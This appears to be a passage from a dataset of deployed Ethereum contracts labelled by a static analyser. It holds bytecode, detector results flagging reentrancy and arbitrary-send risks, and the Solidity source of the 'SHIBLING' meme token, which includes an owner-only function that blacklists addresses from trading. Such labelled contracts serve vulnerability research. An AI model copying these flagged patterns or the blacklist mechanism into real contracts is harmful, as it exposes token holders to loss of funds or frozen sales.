ffffffffffffffffffffffffff161415801561182d57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118905761183a61226d565b8161184484610997565b61184e919061337e565b111561188f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611886906130f9565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561193b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119915750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b5e57601360149054906101000a900460ff166119e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119dc90613259565b60405180910390fd5b6009600a81905550601360159054906101000a900460ff1615611af457426014541115611af357601054811115611a1b57600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9690613119565b60405180910390fd5b602d42611aac919061337e565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601360159054906101000a900460ff1615611b5d57600942611b16919061337e565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611b6930610997565b9050601360169054906101000a900460ff16158015611bd65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bee5750601360149054906101000a900460ff165b15611d7057600f600a81905550601360159054906101000a900460ff1615611c955742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611c94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8b90613179565b60405180910390fd5b5b6000811115611d5657611cf06064611ce2600b54611cd4601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610997565b61229590919063ffffffff16565b61231090919063ffffffff16565b811115611d4c57611d496064611d3b600b54611d2d601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610997565b61229590919063ffffffff16565b61231090919063ffffffff16565b90505b611d5581611f73565b5b60004790506000811115611d6e57611d6d47611e99565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e195750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611e2357600090505b611e2f8484848461235a565b50505050565b6000838311158290611e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e749190613077565b60405180910390fd5b5060008385611e8c919061345f565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f01573d6000803e3d6000fd5b5050565b6000600754821115611f4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f43906130b9565b60405180910390fd5b6000611f56612387565b9050611f6b818461231090919063ffffffff16565b915050919050565b6001601360166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611fd1577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fff5781602001602082028036833780820191505090505b509050308160008151811061203d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120df57600080fd5b505afa1580156120f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121179190612a72565b81600181518110612151577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121b830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611339565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161221c9594939291906132b4565b600060405180830381600087803b15801561223657600080fd5b505af115801561224a573d6000803e3d6000fd5b50505050506000601360166101000a81548160ff02191690831515021790555050565b6000606460155461227c61059c565b6122869190613405565b61229091906133d4565b905090565b6000808314156122a8576000905061230a565b600082846122b69190613405565b90508284826122c591906133d4565b14612305576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122fc90613199565b60405180910390fd5b809150505b92915050565b600061235283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123b2565b905092915050565b8061236857612367612415565b5b612373848484612458565b8061238157612380612623565b5b50505050565b6000806000612394612637565b915091506123ab818361231090919063ffffffff16565b9250505090565b600080831182906123f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f09190613077565b60405180910390fd5b506000838561240891906133d4565b9050809150509392505050565b600060095414801561242957506000600a54145b1561243357612456565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b60008060008060008061246a87612690565b9550955095509550955095506124c886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126f890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061255d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125a9816127a0565b6125b3848361285d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126109190613299565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000655af3107a40009050612667655af3107a400060075461231090919063ffffffff16565b82101561268357600754655af3107a400093509350505061268c565b81819350935050505b9091565b60008060008060008060008060006126ad8a600954600a54612897565b92509250925060006126bd612387565b905060008060006126d08e87878761292d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061273a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e35565b905092915050565b6000808284612751919061337e565b905083811015612796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278d90613139565b60405180910390fd5b8091505092915050565b60006127aa612387565b905060006127c1828461229590919063ffffffff16565b905061281581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612872826007546126f890919063ffffffff16565b60078190555061288d8160085461274290919063ffffffff16565b6008819055505050565b6000806000806128c360646128b5888a61229590919063ffffffff16565b61231090919063ffffffff16565b905060006128ed60646128df888b61229590919063ffffffff16565b61231090919063ffffffff16565b9050600061291682612908858c6126f890919063ffffffff16565b6126f890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612946858961229590919063ffffffff16565b9050600061295d868961229590919063ffffffff16565b90506000612974878961229590919063ffffffff16565b9050600061299d8261298f85876126f890919063ffffffff16565b6126f890919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506129c5816139a8565b92915050565b6000815190506129da816139a8565b92915050565b6000813590506129ef816139bf565b92915050565b600081519050612a04816139bf565b92915050565b600081359050612a19816139d6565b92915050565b600081519050612a2e816139d6565b92915050565b600081359050612a43816139ed565b92915050565b600060208284031215612a5b57600080fd5b6000612a69848285016129b6565b91505092915050565b600060208284031215612a8457600080fd5b6000612a92848285016129cb565b91505092915050565b60008060408385031215612aae57600080fd5b6000612abc858286016129b6565b9250506020612acd858286016129b6565b9150509250929050565b600080600060608486031215612aec57600080fd5b6000612afa868287016129b6565b9350506020612b0b868287016129b6565b9250506040612b1c86828701612a0a565b9150509250925092565b60008060408385031215612b3957600080fd5b6000612b47858286016129b6565b9250506020612b5885828601612a0a565b9150509250929050565b600060208284031215612b7457600080fd5b6000612b82848285016129e0565b91505092915050565b600060208284031215612b9d57600080fd5b6000612bab848285016129f5565b91505092915050565b600060208284031215612bc657600080fd5b6000612bd484828501612a0a565b91505092915050565b600080600060608486031215612bf257600080fd5b6000612c0086828701612a1f565b9350506020612c1186828701612a1f565b9250506040612c2286828701612a1f565b9150509250925092565b600060208284031215612c3e57600080fd5b6000612c4c84828501612a34565b91505092915050565b6000612c618383612c6d565b60208301905092915050565b612c7681613493565b82525050565b612c8581613493565b82525050565b6000612c9682613339565b612ca0818561335c565b9350612cab83613329565b8060005b83811015612cdc578151612cc38882612c55565b9750612cce8361334f565b925050600181019050612caf565b5085935050505092915050565b612cf2816134a5565b82525050565b612d01816134e8565b82525050565b6000612d1282613344565b612d1c818561336d565b9350612d2c8185602086016134fa565b612d358161358b565b840191505092915050565b6000612d4d60238361336d565b9150612d588261359c565b604082019050919050565b6000612d70602a8361336d565b9150612d7b826135eb565b604082019050919050565b6000612d9360228361336d565b9150612d9e8261363a565b604082019050919050565b6000612db660198361336d565b9150612dc182613689565b602082019050919050565b6000612dd960228361336d565b9150612de4826136b2565b604082019050919050565b6000612dfc601b8361336d565b9150612e0782613701565b602082019050919050565b6000612e1f60158361336d565b9150612e2a8261372a565b602082019050919050565b6000612e4260238361336d565b9150612e4d82613753565b604082019050919050565b6000612e6560218361336d565b9150612e70826137a2565b604082019050919050565b6000612e8860208361336d565b9150612e93826137f1565b602082019050919050565b6000612eab60298361336d565b9150612eb68261381a565b604082019050919050565b6000612ece60258361336d565b9150612ed982613869565b604082019050919050565b6000612ef160248361336d565b9150612efc826138b8565b604082019050919050565b6000612f1460178361336d565b9150612f1f82613907565b602082019050919050565b6000612f3760188361336d565b9150612f4282613930565b602082019050919050565b6000612f5a60258361336d565b9150612f6582613959565b604082019050919050565b612f79816134d1565b82525050565b612f88816134db565b82525050565b6000602082019050612fa36000830184612c7c565b92915050565b6000604082019050612fbe6000830185612c7c565b612fcb6020830184612c7c565b9392505050565b6000604082019050612fe76000830185612c7c565b612ff46020830184612f70565b9392505050565b600060c0820190506130106000830189612c7c565b61301d6020830188612f70565b61302a6040830187612cf8565b6130376060830186612cf8565b6130446080830185612c7c565b61305160a0830184612f70565b979650505050505050565b60006020820190506130716000830184612ce9565b92915050565b600060208201905081810360008301526130918184612d07565b905092915050565b600060208201905081810360008301526130b281612d40565b9050919050565b600060208201905081810360008301526130d281612d63565b9050919050565b600060208201905081810360008301526130f281612d86565b9050919050565b6000602082019050818103600083015261311281612da9565b9050919050565b6000602082019050818103600083015261313281612dcc565b9050919050565b6000602082019050818103600083015261315281612def565b9050919050565b6000602082019050818103600083015261317281612e12565b9050919050565b6000602082019050818103600083015261319281612e35565b9050919050565b600060208201905081810360008301526131b281612e58565b9050919050565b600060208201905081810360008301526131d281612e7b565b9050919050565b600060208201905081810360008301526131f281612e9e565b9050919050565b6000602082019050818103600083015261321281612ec1565b9050919050565b6000602082019050818103600083015261323281612ee4565b9050919050565b6000602082019050818103600083015261325281612f07565b9050919050565b6000602082019050818103600083015261327281612f2a565b9050919050565b6000602082019050818103600083015261329281612f4d565b9050919050565b60006020820190506132ae6000830184612f70565b92915050565b600060a0820190506132c96000830188612f70565b6132d66020830187612cf8565b81810360408301526132e88186612c8b565b90506132f76060830185612c7c565b6133046080830184612f70565b9695505050505050565b60006020820190506133236000830184612f7f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613389826134d1565b9150613394836134d1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133c9576133c861352d565b5b828201905092915050565b60006133df826134d1565b91506133ea836134d1565b9250826133fa576133f961355c565b5b828204905092915050565b6000613410826134d1565b915061341b836134d1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134545761345361352d565b5b828202905092915050565b600061346a826134d1565b9150613475836134d1565b9250828210156134885761348761352d565b5b828203905092915050565b600061349e826134b1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134f3826134d1565b9050919050565b60005b838110156135185780820151818401526020810190506134fd565b83811115613527576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d617820686f6c64696e67206361702062726561636865642e00000000000000600082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b7f4d617820686f6c64696e67206361702063616e6e6f74206265206c657373207460008201527f68616e2031000000000000000000000000000000000000000000000000000000602082015250565b6139b181613493565b81146139bc57600080fd5b50565b6139c8816134a5565b81146139d357600080fd5b50565b6139df816134d1565b81146139ea57600080fd5b50565b6139f6816134db565b8114613a0157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e37257e157e513645ba28e933b06628f2146b9b4a4716e5e108dc88a49e5ad2864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,729
0xcad5ca04fe88c8861b186424445d161932576a7a
/** 👑ShiBling Inu👑 ERC 20 📱 Tg - https://t.me/ShiBlingInu 📎 Website - https://shiblinginu.netlify.app/ $SHIBLING Tokenomics Total Supply : 1,000,000,000,000 Max Buy : 2% (20,000,000,000) Max Wallet : 4% (40,000,000,000) Tax : 10% */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBLING is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "SHIBLING"; string private constant _symbol = "SHIBLING"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x81D078731A1FE80aaF1E75F6a8fE077702d3eE85); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(2).div(100); _maxWalletSize = _tTotal.mul(4).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e98565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906129bb565b6104b4565b60405161018e9190612e7d565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061303a565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129f7565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d919061296c565b610633565b60405161021f9190612e7d565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906128de565b61070c565b005b34801561025d57600080fd5b506102666107fc565b60405161027391906130af565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612a38565b610805565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a8a565b6108b7565b005b3480156102da57600080fd5b506102e3610991565b005b3480156102f157600080fd5b5061030c600480360381019061030791906128de565b610a03565b604051610319919061303a565b60405180910390f35b34801561032e57600080fd5b50610337610a54565b005b34801561034557600080fd5b5061034e610ba7565b005b34801561035c57600080fd5b50610365610c5e565b6040516103729190612daf565b60405180910390f35b34801561038757600080fd5b50610390610c87565b60405161039d9190612e98565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906129bb565b610cc4565b6040516103da9190612e7d565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a8a565b610ce2565b005b34801561041857600080fd5b50610421610dbc565b005b34801561042f57600080fd5b50610438610e36565b005b34801561044657600080fd5b50610461600480360381019061045c9190612930565b6113ef565b60405161046e919061303a565b60405180910390f35b60606040518060400160405280600881526020017f534849424c494e47000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611476565b848461147e565b6001905092915050565b6000683635c9adc5dea00000905090565b6104eb611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612f7a565b60405180910390fd5b60005b815181101561062f576001600660008484815181106105c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061062790613350565b91505061057b565b5050565b6000610640848484611649565b6107018461064c611476565b6106fc8560405180606001604052806028815260200161377360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b2611476565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdc9092919063ffffffff16565b61147e565b600190509392505050565b610714611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079890612f7a565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080d611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089190612f7a565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108bf611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473fffffffffffffffffffffffffffffffffffffff